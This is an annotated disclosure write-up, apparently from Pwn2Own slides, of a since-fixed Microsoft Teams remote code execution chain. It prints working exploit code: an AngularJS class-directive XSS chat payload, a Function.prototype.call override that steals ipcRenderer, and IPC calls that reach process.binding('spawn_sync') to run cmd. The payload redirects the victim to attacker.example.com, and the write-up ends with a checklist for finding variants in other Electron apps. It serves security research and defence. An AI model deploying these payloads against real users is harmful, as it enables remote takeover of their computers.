The chat allows users to use some HTML/CSS. It displays HTML after sanitising both on the server and client-side. Sanitising means cleaning input by removing anything dangerous, like a bouncer checking bags at a door. The server-side sanitisation is black-box, so the researcher decided to check the client-side and try to guess the behaviour. Black-box means you can only see what goes in and what comes out, not the code doing the work. The client-side uses the sanitize-html library (https://github.com/apostrophecms/sanitise-html). A library is a collection of ready-made code that a program uses. Examples of what is sanitised: HTML elements/attributes allowing script execution (XSS) and CSS allowing breaking layouts. Unexpectedly, checking sanitisation around CSS led to the discovery of XSS.

The class attribute allow-list

In client-side JS code the researcher found a class attribute allow-list-ish string:

Text
e.htmlClasses = "swift-*,ts-image*, emojione,emoticon-*,animated-emoticon-*, copy-paste-table,hljs*,language-*,zoetrope, me-email-*,quoted-reply-color-*"

Line by line:

  • e.htmlClasses = assigns a value to a property called htmlClasses on an object named e.
  • The quoted string is a list of class name patterns separated by commas. A class attribute is the class="..." part of an HTML tag, used to give an element a style or behaviour. An allow-list is a list of things that are permitted; anything not on the list is removed.
  • The * characters are wildcards, meaning "anything can go here". So swift-* means any class starting with swift-.

These classes were not removed by server/client-side sanitisation, and the asterisk part appeared to work as a wildcard. The behaviour of the wildcard (for example swift-*) looked like anything except the class attribute's separator (for example 0x20) is included there:

HTML
<strong class="swift-abc">test</strong>
<strong class="swift-;[]()'%">test</strong>

Line by line:

  • The first line is a bold (<strong>) element with the class swift-abc. It matches swift-* and is allowed.
  • The second line has the class swift-;[]()'%. It also matches swift-*, and the punctuation after swift- is kept. 0x20 is the hexadecimal code for a space character, which is the separator between class names, so a space would end the class and is not part of the wildcard match.

But due to a certain JS resource, this leads to JS execution. The resource is AngularJS: Teams used AngularJS as a client-side framework in some pages, and the chat message part is one of them. The report notes that these days it seems to be gradually being replaced by React. AngularJS and React are both frameworks for building interactive web pages; AngularJS is the older one.

AngularJS as an XSS aid

AngularJS is very useful for an XSSer. Without using HTML tags, XSS is allowed via {{}} templates, and it introduces a CSP bypass even if unsafe-eval is not set:

HTML
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script>
<div ng-app>
{{constructor.constructor('alert(1)')()}}
</div>

Line by line:

  • <script src="..."> loads the AngularJS library from Google's servers.
  • <div ng-app> marks the region as an AngularJS application. AngularJS will look inside it for its own syntax.
  • {{constructor.constructor('alert(1)')()}} is an AngularJS template expression. AngularJS evaluates what is inside the double braces. constructor.constructor reaches the JavaScript Function constructor, which turns a string into code, and the trailing () runs it. The result is a pop-up box saying 1.
  • </div> closes the region.
HTML
<meta http-equiv=Content-Security-Policy content="script-src ajax.googleapis.com">
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script>
<div ng-app>
<img src=x ng-on-error=$event.target.ownerDocument.defaultView.alert(1)>
</div>

Line by line:

  • The <meta> tag sets a Content Security Policy (CSP). A CSP is a rule the page gives the browser about what it is allowed to load; here script-src ajax.googleapis.com says scripts may only come from that domain.
  • <div ng-app> again marks the AngularJS region.
  • <img src=x ...> is an image tag pointing at a file that does not exist, so the image fails to load.
  • ng-on-error=$event.target.ownerDocument.defaultView.alert(1) is an AngularJS attribute that runs when the error happens. It reaches the window object through the document and calls alert(1). This shows that AngularJS can turn an attribute into running code even when a CSP is in place.
  • </div> closes the region.

The report also recalls that XSS via AngularJS in MS Teams had been found by security researchers in the past, due to a template string filter bypass by inserting a null char between {{}}:

Text
{{3*333}\u0000}

Line by line:

  • {{3*333} is the start of an AngularJS expression that would compute 999.
  • \u0000 is a null character, an invisible character with code zero.
  • } closes the expression. The idea is that a filter looking for {{...}} might not notice the null character, while AngularJS still treats the whole thing as an expression.

Details are referenced at https://github.com/oskarsve/ms-teams-rce. The fact that this XSS occurs on a single-page app probably means Teams dynamically compiles user input as AngularJS HTML (like inside an ng-app attribute), the researcher reasoned. A single-page app is a website that loads once and then updates itself without full page reloads. He thought AngularJS XSS might still occur in other ways, and while looking through the AngularJS official documentation for interesting features he found the ngInit directive. A directive in AngularJS is a special instruction written in HTML that tells the framework to do something.

ngInit directive

ngInit is used for the init process before executing a {{}} template. In this example, "Hello World!" is displayed:

HTML
<html ng-app>
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script>
<strong ng-init="greeting='Hello'; person='World'">
{{greeting}} {{person}}!
</strong>
</html>

Line by line:

  • <html ng-app> marks the whole page as an AngularJS app.
  • The <script> tag loads AngularJS.
  • <strong ng-init="greeting='Hello'; person='World'"> sets two variables before the template runs: greeting becomes Hello and person becomes World.
  • {{greeting}} {{person}}! prints those variables, giving Hello World!.
  • </strong> and </html> close the tags.

The attribute's value is evaluated as an AngularJS expression, so JS works via:

HTML
<strong ng-init="constructor.constructor('alert(1)')"></strong>

Line by line:

  • <strong ng-init="..."> is a bold element whose ng-init value is an expression.
  • constructor.constructor('alert(1)') reaches the Function constructor and builds a function from the string alert(1).
  • </strong> closes the element.

The ng-init attribute is of course sanitised. But ngInit can be used via a class attribute too. The following are the same:

HTML
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script>
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')">aaa</strong>
</div>

Line by line:

  • The <script> tag loads AngularJS.
  • <div ng-app> marks the AngularJS region.
  • <strong class="ng-init:constructor.constructor('alert(1)')"> uses a class instead of an attribute. AngularJS reads ng-init: inside a class as if it were the ng-init attribute, so the expression after the colon is evaluated.
  • aaa is the visible text.
  • </strong> and </div> close the tags.
HTML
<ANY ng-init="expression"> ... </ANY>
<ANY class="ng-init: expression;"> ... </ANY>

Line by line:

  • ANY stands for any HTML tag, such as div or strong.
  • The first line shows the normal attribute form: ng-init="expression".
  • The second line shows the class form: class="ng-init: expression;". The two are equivalent to AngularJS.

The official documentation is at https://docs.angularjs.org/api/ng/directive/ngInit. The following code is also interpreted as AngularJS expression, so JS execution via a class attribute is possible. The report notes that ng-class, ng-style and others can be used in the same way.

The class directive is retrieved by this regex:

JavaScript
CLASS_DIRECTIVE_REGEXP = /(([\w-]+)(?::([^;]+))?;?)/,

Line by line:

  • CLASS_DIRECTIVE_REGEXP = names a regular expression. A regular expression (regex) is a pattern used to find or match text.
  • /(([\w-]+)(?::([^;]+))?;?)/ is the pattern. [\w-]+ matches one or more word characters or hyphens, which is a class name. (?::([^;]+))? optionally matches a colon followed by anything that is not a semicolon, which is the expression. ;? optionally matches a semicolon. The outer brackets group the whole thing.

so all of the following classes work as an ng-init directive:

HTML
<strong class="ng-init:expression">aaa</strong>
<strong class="aaa;ng-init:expression">aaa</strong>
<strong class="aaa!ng-init:expression">aaa</strong>
<strong class="aaa♩♬♪ng-init:expression">aaa</strong>

Line by line:

  • The first line has ng-init:expression as the whole class.
  • The second line has aaa;ng-init:expression, with a semicolon before it.
  • The third line has aaa!ng-init:expression, with an exclamation mark before it.
  • The fourth line has aaa♩♬♪ng-init:expression, with musical notes before it.

In every case the regex finds the ng-init:expression part, so AngularJS treats it as the directive. The characters before it do not matter.

The regex is referenced at https://github.com/angular/angular.js/blob/[redacted]/src/ng/compile.js#L1384. Combined with the swift-* wildcard's behaviour, this gives XSS. The wildcard lets the class survive sanitisation, and the regex lets AngularJS read the dangerous part inside it.

Exploitation

Step 1: XSS via a chat message

The researcher sent the following HTML as a chat message, and alert() was executed:

HTML
<strong class="swift-x;ng- init:['alert(document.domain)'].forEach($root.$$childHead.$$nextSibl ing.app.$window.eval)">aaa</strong>

Line by line:

  • <strong class="..."> is a bold element with a class attribute.
  • swift-x; matches the swift-* wildcard, so the sanitiser keeps the class.
  • ng- init: is the AngularJS directive, with the space after the hyphen as shown in the transcript.
  • ['alert(document.domain)'] is a list containing one string, the code to run. document.domain is the current site's domain name, so the alert shows which site the code is running on.
  • .forEach(...) runs a function once for each item in the list.
  • $root.$$childHead.$$nextSibling.app.$window.eval walks through AngularJS's internal scope objects to reach the browser window's eval function. eval takes a string and runs it as code.
  • " closes the class attribute.
  • aaa is the visible text.
  • </strong> closes the element.

The swift-x part matches the wildcard allow-list, so the class survives sanitisation. The ng- init: part (with the space as shown in the transcript) is picked up by the class directive regex and evaluated as an AngularJS expression. The expression calls eval through the AngularJS scope chain rather than using constructor. The report explains that the reason for this slightly strange call, instead of constructor shown in other slides, is that there is a sandbox that prevents arbitrary JS execution depending on the version of AngularJS (all versions have known bypasses though). Here, direct use of constructor was not allowed. The report references the AngularJS sandbox bypasses list by Gareth Heyes: https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs.

At this point the researcher had a way to execute arbitrary JS and a way to get a reference to the ipcRenderer module by abusing the lack of context isolation. The last step was to find an IPC listener that does not perform input validation correctly.

Step 2: PluginHost

Looking for such a listener, the researcher noticed an interesting renderer called PluginHost. It is an invisible renderer, and apparently a node module called "slimcore" loaded there is operated from the main window via IPC. Here sandbox: false. The researcher speculates that maybe slimcore does not work when sandbox:true, so this renderer exists. A node module is a package of JavaScript code for Node.js. The command line shown in the slides:

Text
"C:\Users\USER\AppData\Local\Microsoft\Teams\current\Teams.ex e" --type=renderer [...] --app- path="C:\Users\USER\AppData\Local\Microsoft\Teams\current\res ources\app.asar" --no-sandbox [...] /prefetch:1 --msteams- process-type=pluginHost

Line by line:

  • "C:\Users\USER\AppData\Local\Microsoft\Teams\current\Teams.ex e" is the path to the Teams program. The space in Teams.ex e is how the transcript shows it.
  • --type=renderer tells the program to start as a renderer process, the browser part.
  • [...] means other arguments were omitted.
  • --app- path="...app.asar" points at the application's packaged files. An asar file is an archive format used by Electron.
  • --no-sandbox turns off the sandbox for this process.
  • [...] more omitted arguments.
  • /prefetch:1 is a Windows performance hint.
  • --msteams- process-type=pluginHost labels this process as the PluginHost.

slimcore is executed by setting IPC listeners in PluginHost's preload script and executing through messages sent from the main window. The main window can send a message with an API named sendToRendererSync, which exists in the object retrieved through bug #1. The report notes that this API does not exist in Electron's original ipcRenderer module, so maybe Microsoft extended it. There are IPC listeners named like:

Text
ELECTRON_REMOTE_SERVER_REQUIRE
ELECTRON_REMOTE_SERVER_MEMBER_GET
ELECTRON_REMOTE_SERVER_FUNCTION_CALL

These are three message names. Think of them as three buttons on the intercom: one to load a module, one to read a property, one to call a function.

What they do:

  • ELECTRON_REMOTE_SERVER_REQUIRE: calls require() with the string specified in the message. However, validation allows only allow-listed modules such as "slimcore".
  • ELECTRON_REMOTE_SERVER_MEMBER_GET: performs property access using the string specified in the message.
  • ELECTRON_REMOTE_SERVER_FUNCTION_CALL: performs a function call with the string specified in the message.
  • Listeners for SET or other operations also exist.

The call pattern is like require('slimcore').func('arg');, sent as: 1. ELECTRON_REMOTE_SERVER_REQUIRE, 2. ELECTRON_REMOTE_SERVER_MEMBER_GET, 3. ELECTRON_REMOTE_SERVER_FUNCTION_CALL.

The researcher focused on MEMBER_GET's property access. The code shown in the slides:

Line by line:

  • P(c.remoteServerMemberGet, (e,t,n,o)=>{ registers a handler for the member-get message. The handler receives four values: e, t, n and o.
  • const i = s.objectsRegistry.get(n); looks up an object in a registry using n. This i is the access-target's object.
  • if (null == i) throw new Error(...) stops with an error if no object was found. The message includes the property name o and the object id n.
  • return A(e, t, ()=>i[o]) returns a function that, when run, reads property o from object i.
  • } closes the handler.
  • ) closes the P call.

Here variable i is the access-target's object and variable o is the accessed property. This property access is done without any check such as hasOwnProperty(). This means Object.prototype.* access is allowed. hasOwnProperty() is a check that asks "does this object itself have this property?" rather than inheriting it. Object.prototype is the shared toolbox that every JavaScript object inherits from, so without the check an attacker can reach built-in members such as toString and constructor.

JavaScript
require('slimcore').toString.constructor('js-code')();

Line by line:

  • require('slimcore') loads the slimcore module.
  • .toString reads the built-in toString method from the module object.
  • .constructor reads the constructor of that method, which is the Function constructor.
  • ('js-code') builds a function from the string js-code.
  • () runs that function.

sent as 1. REQUIRE, 2. MEMBER_GET, 3. MEMBER_GET, 4. FUNCTION_CALL, 5. FUNCTION_CALL. This allowed accessing Function() via the constructor property and executing arbitrary JS.

The code is evaluated in the preload script's context, which means it has access to the Node API. Additionally, sandbox:false, so there is no API restriction.

Step 3: Command execution with process.binding

To perform RCE in this context, the researcher used process.binding, something like require() used in Node.js internals, only available when sandbox: false. In the child_process module, binding('spawn_sync') is used, and by following the call, command execution is possible:

JavaScript
a = { "type": "pipe", "readable": 1, "writable": 1 };
b = { "file": "cmd", "args": ["/k", "start", "calc"], "stdio": [a, a] };
process.binding("spawn_sync").spawn(b);

Line by line:

  • a = { "type": "pipe", "readable": 1, "writable": 1 }; creates a pipe object. A pipe is a channel for passing data between programs; here it is readable and writable.
  • b = { "file": "cmd", "args": ["/k", "start", "calc"], "stdio": [a, a] }; describes the program to run: cmd with arguments /k, start and calc, using the pipe a for both input and output. cmd is the Windows command prompt, /k keeps it open after running the command, and calc is the calculator.
  • process.binding("spawn_sync").spawn(b); reaches Node.js's internal spawn_sync binding and starts the program described in b. spawn means start a new process.

The researcher credits learning this from Math.js RCE by @CapacitorSet and @denysvitali: https://jwlss.pw/mathjs/.

Why not just require('child_process')?

The slides address the question of why require('child_process') is not used directly:

JavaScript
require('slimcore')
.toString.constructor("require('child_process')...")();

Line by line:

  • require('slimcore') loads slimcore.
  • .toString.constructor(...) reaches the Function constructor.
  • "require('child_process')..." is the string that would become code, trying to load the child_process module.
  • () runs it.

This does not work. The reason is that Function() creates a function executed within global scope. The demonstration code:

JavaScript
function (exports, require, module, __filename, __dirname) {
  console.log(`1: ${arguments.callee.toString()}`);
  console.log(`2: ${eval('typeof require')}`);
  console.log(`3: ${constructor.constructor('typeof require')()}`);
}

Line by line:

  • function (exports, require, module, __filename, __dirname) { is the wrapper Node.js puts around a module. It receives require and other values as parameters.
  • console.log(1: ${arguments.callee.toString()}); prints the function's own source text. arguments.callee refers to the currently running function.
  • console.log(2: ${eval('typeof require')}); uses eval to check the type of require inside this function. Because require is a parameter, it exists here.
  • console.log(3: ${constructor.constructor('typeof require')()}); uses the Function constructor to check require in global scope. Because Function-created code does not see the function's parameters, it does not exist there.
  • } closes the function.

loaded as a preload script produces:

Text
1: function (exports, require, module, __filename, __dirname) { ... }
2: function
3: undefined

Line by line:

  • 1: shows the function's source, confirming it is wrapped.
  • 2: shows function, meaning eval inside the function can see require.
  • 3: shows undefined, meaning code created by Function cannot see require.

require exists in the function scope (so eval sees it), but not in the global scope where Function()-created code runs. Scope is the area of a program where a name is visible; a parameter is visible inside its function, not outside.

The report also notes that other Pwn2Own participants (@adm1nkyj1 and @jinmo123) noticed the way to execute a command via IPC too, but the last step to achieve RCE was a bit different. They used an eval call existing in preload scripts and called require('child_process'). Details: https://blog.pksecurity.io/2023/01/16/2022-microsoft-teams-rce.html#2- pluginhost-allows-dangerous-rpc-calls-from-any-webview. The relevant code from that write-up, as reproduced in the slides:

JavaScript
function loadSlimCore(slimcoreLibPath) {
  let slimcore;
  if (utility.isWebpackRuntime()) {
    const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\");
    slimcore = eval(`require('${slimcoreLibPathWebpack}')`);
    [...]
  }
  [...]
}

Line by line:

  • function loadSlimCore(slimcoreLibPath) { defines a function that takes a path to slimcore.
  • let slimcore; declares a variable to hold the module.
  • if (utility.isWebpackRuntime()) { checks whether the app is running in a particular mode.
  • const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\"); doubles backslashes in the path. replace is a string method that swaps text matching a pattern.
  • slimcore = eval(require('${slimcoreLibPathWebpack}')); builds a require call as a string and runs it with eval. Because this eval is inside the function, it can see require.
  • [...] means more code was omitted.
  • } closes the if.
  • [...] more omitted code.
  • } closes the function.

By rewriting String.prototype.replace and changing the return value, an arbitrary string is passed to this direct eval call, so it is executed within this function scope and require() access is allowed. String.prototype.replace is the shared replace method that all strings use; overriding it is the same trick as overriding Function.prototype.call earlier.

Step 4: Full chain, step by step

With all three bugs aligned (lack of context isolation in the main window, XSS via chat message, JS execution via PluginHost outside the sandbox), the researcher launched calc.

  1. The attacker creates a page containing the following code:
HTML
<script>
Function.prototype._call = Function.prototype.call;
Function.prototype.call = function(...args) {
  if (args[3] && args[3].name === "__webpack_require__") {
    ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer;
  }
  return this._call(...args);
}
</script>

This is the same code as earlier: it saves the real call, replaces it, and when Electron's internal loader is passed as the fourth argument, it uses that loader to grab ipcRenderer and stores it in ipc. The rest of the time it behaves normally.

This is the JS code to get a reference to the ipcRenderer module. JS code to send IPC follows on the next page:

HTML
<script>
setTimeout(function(){
  ipc.invoke('calling:teams:ipc:initPluginHost',true).then((id)=>{
    objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_REQUIRE',((),'slimcore'),'')(0)('id');
    objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_MEMBER_GET',((),objid,'toString',()),'')(0)('id');
    objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_MEMBER_GET',((),objid,'constructor',()),'')(0)('id');
    objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_FUNCTION_CALL',((),objid,(({"type":"value","value": 'a={"type":"pipe","readable":1,"writable":1};b={"file":"cmd","args":("/k","start","calc"),"stdio":(a,a)}; process.binding("spawn_sync").spawn(b);'})),'')(0)('id');
    ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_FUNCTION_CALL',((),objid,(({"type":"value","value":""})),'');
  });
},2000);
</script>

Line by line:

  • <script> starts the script.
  • setTimeout(function(){ waits before running the inner function. The delay is given at the end.
  • ipc.invoke('calling:teams:ipc:initPluginHost',true).then((id)=>{ sends a message to start the PluginHost and waits for its id.
  • objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_MEMBER_GET',((),objid,'toString',()),'')(0)('id'); sends MEMBER_GET to read toString from that object, and stores the new id.
  • objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_MEMBER_GET',((),objid,'constructor',()),'')(0)('id'); sends MEMBER_GET again to read constructor from toString, which is the Function constructor.
  • objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_FUNCTION_CALL',((),objid,(({"type":"value","value": 'a={"type":"pipe","readable":1,"writable":1};b={"file":"cmd","args":("/k","start","calc"),"stdio":(a,a)}; process.binding("spawn_sync").spawn(b);'})),'')(0)('id'); sends FUNCTION_CALL to run the Function constructor with the spawn code as its string. That code is the same process.binding("spawn_sync").spawn(b) shown earlier, which starts calc.
  • }); closes the then callback.
  • },2000); sets the delay to 2000 milliseconds, two seconds.
  • </script> ends the script.

This code sends IPC to execute the following JS on PluginHost:

JavaScript
require('slimcore').toString.constructor('js-code')();

with the sequence 1. REQUIRE, 2. MEMBER_GET, 3. MEMBER_GET, 4. FUNCTION_CALL, 5. FUNCTION_CALL. The initPluginHost invoke obtains the PluginHost renderer id, and sendToRendererSync sends each step to it.

  1. The attacker sends the following HTML as a chat message:
HTML
<strong class="swift-x;ng- init:['eval(decodeURIComponent(\'setTimeout(function()%7Blocation.replace(%27//at tacker.example.com/poc.html%27)%7D,10000)\'))'].forEach($root.$$childHead.$$nextS ibling.app.$window.eval)">aaa</strong>

Line by line:

  • <strong class="..."> is the bold element with the class.
  • swift-x; matches the wildcard so the class survives sanitisation.
  • ng- init: is the AngularJS directive, again with the space as shown in the transcript.
  • ['eval(decodeURIComponent(...))'] is a list containing one string. The string calls eval on the result of decodeURIComponent, which turns percent-encoded text back into normal characters.
  • \'setTimeout(function()%7Blocation.replace(%27//at tacker.example.com/poc.html%27)%7D,10000)\' is the encoded code. %7B is {, %7D is }, %27 is a single quote. Decoded, it becomes setTimeout(function(){location.replace('//attacker.example.com/poc.html')},10000).
  • .forEach($root.$$childHead.$$nextSibling.app.$window.eval) runs the string through the window's eval, using the same scope walk as before.
  • " closes the class, aaa is the text, and </strong> closes the element.
  1. The victim opens the message, and XSS is triggered.

  2. After a while, a navigation to the crafted page happens (https://attacker.example.com/poc.html). The final code executed by eval is the following, which just navigates to the attacker's site:

JavaScript
setTimeout(function(){
  location.replace('//attacker.example.com/poc.html');
},10000);

Line by line:

  • location.replace('//attacker.example.com/poc.html'); changes the current page to the attacker's page. location is the browser's address object, and replace swaps the current page without adding a history entry.
  • },10000); sets the delay to 10000 milliseconds, ten seconds.

This is the page created at step 1. The report notes that there is no need to use setTimeout; it was used for clarity of the demo.

  1. Suddenly calc is executed.
Or watch on YouTube
From the original on speakerdeck.com

A demo video is linked at https://youtu.be/TMh_WbF9VnM.

Root cause

The chain relies on three separate weaknesses, each of which the report describes:

  1. Lack of context isolation in the main window. With contextIsolation:false, an overridden Function.prototype.call in the web page affects the JS context used by Electron internal code and preload scripts. This let the researcher capture the ipcRenderer module reference even though nodeIntegration:false and sandbox:true were set. The sandbox alone did not prevent this because the leak is through prototype interference, not through direct Node API access.
  2. XSS via chat message. The client-side class allow-list used wildcards such as swift-*, and the wildcard matched almost any character except the class attribute separator. Combined with AngularJS, which Teams used in some pages including the chat message part, a class such as ng-init:... is interpreted as an AngularJS expression. The ng-init attribute itself was sanitised, but the class form was not. The AngularJS sandbox prevented direct use of constructor here, so the researcher used eval through the scope chain instead.
  3. JS execution via PluginHost outside the sandbox. The PluginHost renderer runs with sandbox:false and exposes IPC listeners (ELECTRON_REMOTE_SERVER_REQUIRE, ELECTRON_REMOTE_SERVER_MEMBER_GET, ELECTRON_REMOTE_SERVER_FUNCTION_CALL). MEMBER_GET performs property access without a check such as hasOwnProperty(), so Object.prototype.* is reachable. That allows require('slimcore').toString.constructor('js-code')() and arbitrary JS in the preload script's context, which has Node API access and no sandbox restriction. process.binding('spawn_sync') then gives command execution.

Why the existing defences did not stop it: nodeIntegration:false and sandbox:true in the main window were bypassed by the prototype trick; the server and client-side HTML sanitisation did not remove the wildcard classes; the AngularJS sandbox was bypassed with an eval call through the scope chain; and the PluginHost IPC validation only allow-listed the module name for REQUIRE, not the property access in MEMBER_GET.

Impact

When a victim opens a crafted chat message, XSS is triggered, the victim is navigated to an attacker-controlled page, and arbitrary JS runs in the PluginHost preload context, running OS commands. The report demonstrates this by launching calc. Under the Pwn2Own rules the chain had to work without user interaction; the report does not state whether the chat message itself required any interaction beyond opening it.

Fix

The report states that all bugs were fixed, with these changes:

  • contextIsolation: enabled in the main window now.
  • XSS: only limited characters are allowed in the wildcard part.
  • PluginHost: the web page's CSP is applied to preload scripts. For this, context isolation on PluginHost was disabled. By doing so, it looks like the web page's CSP is applied to preload scripts and eval is disabled.

The researcher adds that apparently the latest Electron (tested on v25+) does not allow eval in preload scripts, with the error Uncaught EvalError: Code generation from strings disallowed for this context, though Teams does not use the latest.

Variants to test

  • Other Electron apps with contextIsolation:false. Override Function.prototype.call and look for internal calls that pass objects containing Node features. A positive result is a captured reference such as ipcRenderer or another module with useful APIs.
  • Wildcard class allow-lists combined with AngularJS. Send a class matching the wildcard that also matches the AngularJS class directive regex, for example swift-x;ng-init:.... A positive result is execution of the expression, for example an alert.
  • AngularJS sandbox bypasses. Try eval through the scope chain when constructor is blocked. A positive result is JS execution despite the sandbox.
  • IPC listeners that perform property access. Look for MEMBER_GET-style handlers without hasOwnProperty() checks. A positive result is reaching Object.prototype members such as toString.constructor.
  • Preload scripts with direct eval. Look for eval calls whose arguments come from values an attacker can influence, such as String.prototype.replace return values. A positive result is arbitrary code in the preload function scope, where require is available.
  • process.binding('spawn_sync'). In a context with sandbox:false and Node access, try the spawn_sync call shown above. A positive result is a spawned process such as calc.

Glossary

  • API: the set of commands one piece of software offers to another so they can work together.
  • AngularJS: an older JavaScript framework for building interactive web pages, which evaluates expressions written in HTML attributes and in {{}} templates.
  • Black-box: testing where you can only see inputs and outputs, not the code doing the work.
  • CSP (Content Security Policy): a rule a page gives the browser about which sources of scripts and other content are allowed.
  • Chromium: the open-source browser engine that Chrome and many other programs are built on.
  • Class attribute: the class="..." part of an HTML tag, used to give an element a style or behaviour.
  • Context isolation: an Electron setting that separates the JavaScript context of the web page from the context used by Electron internal code and preload scripts.
  • Directive: in AngularJS, a special instruction written in HTML that tells the framework to do something.
  • Electron: a framework for building desktop applications with HTML, CSS and JavaScript (Node.js), developed by GitHub.
  • eval: a JavaScript function that takes a string and runs it as code.
  • Function constructor: the JavaScript Function object, which turns a string into a function; reachable via constructor.
  • Global scope: the outermost area of a program where names are visible to all code that does not have its own local scope.
  • hasOwnProperty(): a JavaScript check that asks whether an object itself has a property, rather than inheriting it.
  • HTML sanitisation: cleaning user input by removing elements and attributes that could run scripts or break the page.
  • IPC (inter-process communication): the way separate processes in the same program send messages to each other.
  • ipcRenderer: the Electron module used by a renderer process to send messages to the main process.
  • JS context: the private memory space in which a piece of JavaScript runs.
  • Library: a collection of ready-made code that a program uses.
  • Main process: in Electron, the process that controls the app and has full access to the computer.
  • Node.js: a JavaScript runtime that lets JavaScript run outside a browser, with access to files, processes and the operating system.
  • nodeIntegration: an Electron setting that controls whether Node APIs are available to the web page.
  • Node module: a package of JavaScript code for Node.js.
  • 0-day: a bug that is not yet publicly known and has no fix at the time it is used.
  • Origin: the combination of scheme, host and port that a browser uses to decide which pages may talk to each other.
  • Pipe: a channel for passing data between programs.
  • PluginHost: an invisible renderer in Teams that runs with sandbox:false and loads a module called slimcore.
  • Preload script: a small piece of JavaScript that Electron runs before the page loads, with access to Node APIs.
  • Process: a running program on your computer.
  • Prototype: the shared object that other objects inherit properties and methods from in JavaScript.
  • Pwn2Own: a hacking contest run by Trend Micro's ZDI, held since 2007, where researchers demonstrate exploits against specific targets for prize money.
  • RCE (Remote Code Execution): an attacker somewhere else gets your computer to run code of their choosing.
  • Regex (regular expression): a pattern used to find or match text.
  • Renderer process: in Electron, the browser part that draws the web page.
  • Sandbox: a protective box that limits what code can do, for example blocking access to files or other programs.
  • Scope: the area of a program where a name is visible.
  • Single-page app: a website that loads once and then updates itself without full page reloads.
  • slimcore: a node module loaded in the PluginHost renderer and operated from the main window via IPC.
  • spawn: to start a new process.
  • XSS (Cross-Site Scripting): tricking a page into running JavaScript that the attacker wrote, usually by putting it in content the page displays.
  • ZDI (Zero Day Initiative): Trend Micro's programme that buys and coordinates disclosure of security bugs and runs Pwn2Own.

More from Microsoft (Teams)

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.